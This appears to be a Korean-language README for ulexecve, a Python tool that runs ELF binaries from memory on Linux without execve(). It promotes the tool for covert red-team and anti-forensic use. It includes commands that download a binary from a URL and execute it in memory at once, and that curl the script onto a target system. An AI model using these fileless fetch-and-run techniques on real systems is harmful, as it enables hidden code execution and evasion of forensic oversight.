
리눅스에서 디스크에 접촉하지 않고 메모리에서 직접 임의의 ELF 바이너리를 실행하여, 단일 Python 스크립트를 통해 은밀한 레드팀 및 안티포렌식 작업을 가능하게 합니다.
execve()를 호출하지 않고 동적 또는 정적으로 컴파일된 ELF 리눅스 바이너리를 실행합니다.
cat /bin/echo | ulexecve - hello
hello
이 Python 도구는 ulexecve라고 하며 userland execve를 의미합니다. 이 도구는 execve() 시스템 콜을 호출하지 않고 리눅스 시스템의 사용자 공간에서 임의의 ELF 바이너리를 실행할 수 있게 해줍니다. 즉, 바이너리를 저장소에 쓰지 않고 메모리에서 직접 실행할 수 있습니다. 이는 안티 포렌식 또는 레드팀 관점에서 매우 유용하며, 컴파일된 바이너리를 대상 시스템에 드롭하면서도 더 은밀하게 이동할 수 있게 해줍니다. 이 도구는 지원되는 리눅스 플랫폼(x86, x86-64, aarch64)에서 CPython 3.x 및 CPython 2.7(그리고 아마도 그 이전 버전)에서 작동합니다. 정적 및 동적으로 컴파일된 ELF 바이너리를 모두 지원합니다. 물론 항상 작동하지 않거나 충돌을 일으키는 소수의 바이너리가 있을 수 있으며, 이러한 경우를 위해 최신 memfd_create() 시스템 콜을 기반으로 한 100% 신뢰할 수 있는 폴백 방법이 구현되어 있습니다.
리눅스 사용자 공간 execve 도구는 약 20년의 역사를 가지고 있습니다. 이에 대한 첫 번째 확실한 글이 the grugq의 The Design and Implementation of Userland Exec [1]과 Phrack 62 [2]의 또 다른 기사에서 작성되었습니다. 메모리에서 직접 바이너리를 실행하는 안티 포렌식 기술은 상당히 표준적입니다. 예를 들어 Rapid7의 mettle에는 libreflect라는 라이브러리가 있으며, 여기에는 반사만으로 ELF를 실행하려는 noexec 유틸리티가 포함되어 있습니다. 그러나 이 도구는 C로 작성되었으며, noexec 바이너리를 대상 시스템에 전송하고 이 바이너리를 실행할 수 있어야 한다는 암시적 요구사항이 있습니다.
현대의 컨테이너 환경에서는 이것이 항상 가능한 것은 아닙니다. 그러나 많은 컨테이너 환경에는 Python 설치가 포함되어 있습니다. 대상 시스템에 curl 등을 통해 Python 스크립트를 간단히 다운로드한 다음 이 스크립트를 실행하여 임의의 바이너리를 은밀하게 실행할 수 있는 능력은 안티 포렌식 관점에서 매우 유용합니다.
이것이 도구가 단일 파일로 구현된 이유이기도 합니다. 대상 시스템에 다운로드하기 쉽고 실행하기 전에 다른 종속성을 설치할 필요가 없도록 해줍니다. 이 Python 버전은 더 이상 사용되지 않지만 이 도구는 Python 2.7로 테스트되었습니다. 여전히 2.x 버전을 사용하는 시스템이 많기 때문에 유용합니다.
Python 사용자 공간 *execve()*의 좋은 다른 구현은 존재하지 않았습니다. SELF [3]가 있었지만 문서화가 충분하지 않았고, 쉬운 디버깅 옵션이 부족했으며, 더 중요하게는 전혀 작동하지 않았습니다. ulexecve 구현은 처음부터 작성되었습니다. ELF 파일을 파싱하고, 동적 링커도 (필요한 경우) 로드하고 파싱하며, 모든 세그먼트를 메모리에 매핑하고, 궁극적으로 CPU 명령어를 포함하는 점프 버퍼를 구성하여 Python 프로세스에서 새로 로드된 바이너리로 직접 제어를 전환합니다.
모든 일반적인 ELF 파싱 로직, 스택 설정, ELF 세그먼트 매핑 및 점프 버퍼 설정이 추상화되어 있어 다른 CPU로 포팅하는 것이 매우 쉽습니다(몇 시간 정도). BSD와 같은 다른 ELF 기반 플랫폼으로 포팅하는 것은 좀 더 복잡할 수 있지만 여전히 상당히 간단할 것입니다. 이에 대한 자세한 내용은 코드의 주석을 확인하세요.
명시적인 설계 목표는 외부 종속성이 없고 모든 것이 단일 소스 코드 파일에 구현되는 것임을 참고하세요. 더 작은 페이로드가 필요한 경우 특정 CPU 유형에 대한 지원을 제거하거나 모든 디버그 정보 및 기타 옵션을 제거하는 것은 매우 간단해야 합니다.
안티 포렌식 관점에서는 의미가 거의 없지만 이 도구는 pip를 통해 설치할 수 있습니다.
pip install ulexecve
ulexecve --help
python setup.py sdist
python -m pip install --upgrade dist/ulexecve-<version>.tar.gz
ulexecve --help
curl -o ulexecve.py https://raw.githubusercontent.com/anvilsecure/ulexecve/docs/ulexecve.py
./ulexecve.py --help
이 도구는 정적 및 동적으로 컴파일된 실행 파일을 완전히 지원합니다. 바이너리의 파일 이름과 바이너리에 전달하려는 인수를 ulexecve에 전달하기만 하면 됩니다. 환경은 ulexecve를 실행하는 환경에서 직접 복사됩니다.
ulexecve /bin/ls -lha
파일 이름으로 -를 지정하면 stdin에서 바이너리를 읽을 수 있습니다.
cat /bin/ls | ulexecve - -lha
바이너리를 메모리에 다운로드하고 즉시 실행하려면 --download를 사용할 수 있습니다. 이렇게 하면 파일 이름 인수를 URI로 해석합니다.
ulexecve --download http://host/binary
디버깅을 위해 여러 옵션을 사용할 수 있습니다. 충돌이 발생하면 --debug를 통해 디버그 정보를, --show-stack을 통해 구축된 스택을, --show-jumpbuf를 통해 생성된 점프 버퍼를 표시할 수 있습니다. --jump-delay 옵션은 ELF를 올바르게 파싱하고 매핑한 다음 디버거를 연결하여 점프 버퍼와 최종 실행 바이너리를 단계별로 실행하여 충돌 원인을 찾고자 할 때 매우 유용합니다.
cat /bin/echo | ulexecve --debug --show-stack --show-jumpbuf - hello
...
PT_LOAD at offset 0x0002c520: flags=0x6, vaddr=0x2d520, filesz=0x1ad8, memsz=0x1c70
Loaded interpreter successfully
Stack allocated at: 0x7fddf630e000
vDSO loaded at 0x7ffd8952e000 (Auxv entry AT_SYSINFO_EHDR), AT_SYSINFO: 0x00000000
Auxv entries: HWCAP=0x00000002, HWCAP2=0x00000002, AT_CLKTCK=0x00000064
stack contents:
argv
00000000: 0x0000000000000002
00000008: 0x00007fddf6312410
...
Generated mmap call (addr=0x00000000, length=0x00030000, prot=0x7, flags=0x22)
Generated memcpy call (dst=%r11 + 0x00000000, src=0x02534650, size=0x00000fc8)
Generated memcpy call (dst=%r11 + 0x0002d520, src=0x0253d720, size=0x00001ad8)
Generating jumpcode with entry_point=0x00001100 and stack=0x7fddf630e000
Jumpbuf with entry %r11+0x1100 and stack: 0x00007fddf630e000
Written jumpbuf to /tmp/tmphsiaygna.jumpbuf.bin (#592 bytes)
Executing: objdump -m i386:x86-64 -b binary -D /tmp/tmphsiaygna.jumpbuf.bin
...
245: 00 00 00
248: 4c 01 d9 add %r11,%rcx
24b: 48 31 d2 xor %rdx,%rdx
24e: ff e1 jmpq *%rcx
...
Memmove(0x7fddf6f0e000, 0x0254d7f0, 0x00000250)
hello
항상 --fallback 옵션이 있습니다. 사용자 공간에서 직접 바이너리를 파싱하고 매핑하는 것만큼 은밀하지는 않습니다. 폴백 방법은 memfd_create() 및 fexecve()를 사용하지만 임의의 정적 또는 동적 바이너리를 실행하는 데 100% 작동해야 합니다. 물론 제공된 바이너리가 현재 플랫폼에 맞는 올바른 바이너리여야 합니다.
분명히 항상 제대로 실행되지 않는 바이너리가 있을 수 있습니다. 그러나 이 구현은 매우 깔끔하고 잘 테스트되었습니다(정적 및 동적 바이너리, PIE 컴파일 실행 파일, Rust 또는 Go와 같은 다른 런타임을 가진 실행 파일에 대한 단위 테스트 포함). 언급된 플랫폼의 대부분의 도구와 바이너리에 대해 적절히 작동할 것입니다. 그러나 결과는 다를 수 있습니다. ELF 내부에 다른 정보를 포함하는 설치 패커에 의해 생성된 바이너리는 사용하는 자기 참조 트릭에 따라 제대로 작동하지 않을 수 있습니다. 그러나 PyInstaller 바이너리의 경우 ulexecve에 특정 폴백이 추가되었습니다.
PyInstaller로 생성된 바이너리는 직접 작동하지 않습니다. 이러한 바이너리는 함께 제공되는 패키지 파일을 필요로 하거나, 대부분의 경우, 포함된 Python 인터프리터를 시작한 후 제대로 압축을 풀고 실행하는 데 필요한 추가 데이터를 ELF 내에 포함합니다. 즉, 제대로 작동하도록 만들 수 없습니다. 이를 우회하는 몇 가지 방법이 있습니다. 실제 사례의 하위 집합에서 작동할 수 있는 간단한 방법은 쓰기 가능한 임시 파일 시스템이 있다고 가정합니다. 그런 다음 바이너리에서 문자열 /proc/self/exe를 /tmp/xxxx로 바꿉니다. 그 후 memfd_create()를 통해 바이너리를 메모리에 로드한 다음 /tmp/xxxx에 대한 심볼릭 링크를 /proc/<pid>/fd/<fd>로 지정하여 메모리 내 파일을 가리킵니다. 이 옵션을 시도하려면 --pyi-fallback을 사용하세요. 특정 다른 임시 디렉토리를 지정해야 하는 경우 --tmpdir을 사용하세요. tmpdir을 포함한 결과 경로는 문자열 /proc/self/exe (14바이트)와 정확히 같은 바이트 길이여야 하므로 더 긴 경로는 작동하지 않습니다.
$ cat > h.py
print("hello")
$ pyinstaller -F -c h.py
...
$ cat ./tmp/dist/h | ./ulexecve.py -
[5064] Cannot open PyInstaller archive from executable (/usr/bin/python2.7) or external archive (/usr/bin/python2.7.pkg)
$ cat ./tmp/dist/h | ./ulexecve.py --pyi-fallback -
hello
다른 플랫폼으로 포팅할 때는 소수의 단위 테스트가 모두 작동하는지 확인하세요. 대상 플랫폼에서 포함된 ./test.py를 실행하고 모든 테스트가 다시 성공할 때까지 모든 것을 수정하면 됩니다.
GitHub를 통해 풀 리퀘스트를 보내거나, 이슈 트래커에 이슈를 게시하거나, [email protected]으로 이메일을 보내주세요.
"Userland Exec의 설계 및 구현", grugq 저.
"FIST! FIST! FIST! 손목에 달려 있다: 원격 실행", grugq 저, Phrack 62-0x08, 2004-07-13.
Python으로 SELF 구현, Maciej Kotowicz (mak) 저.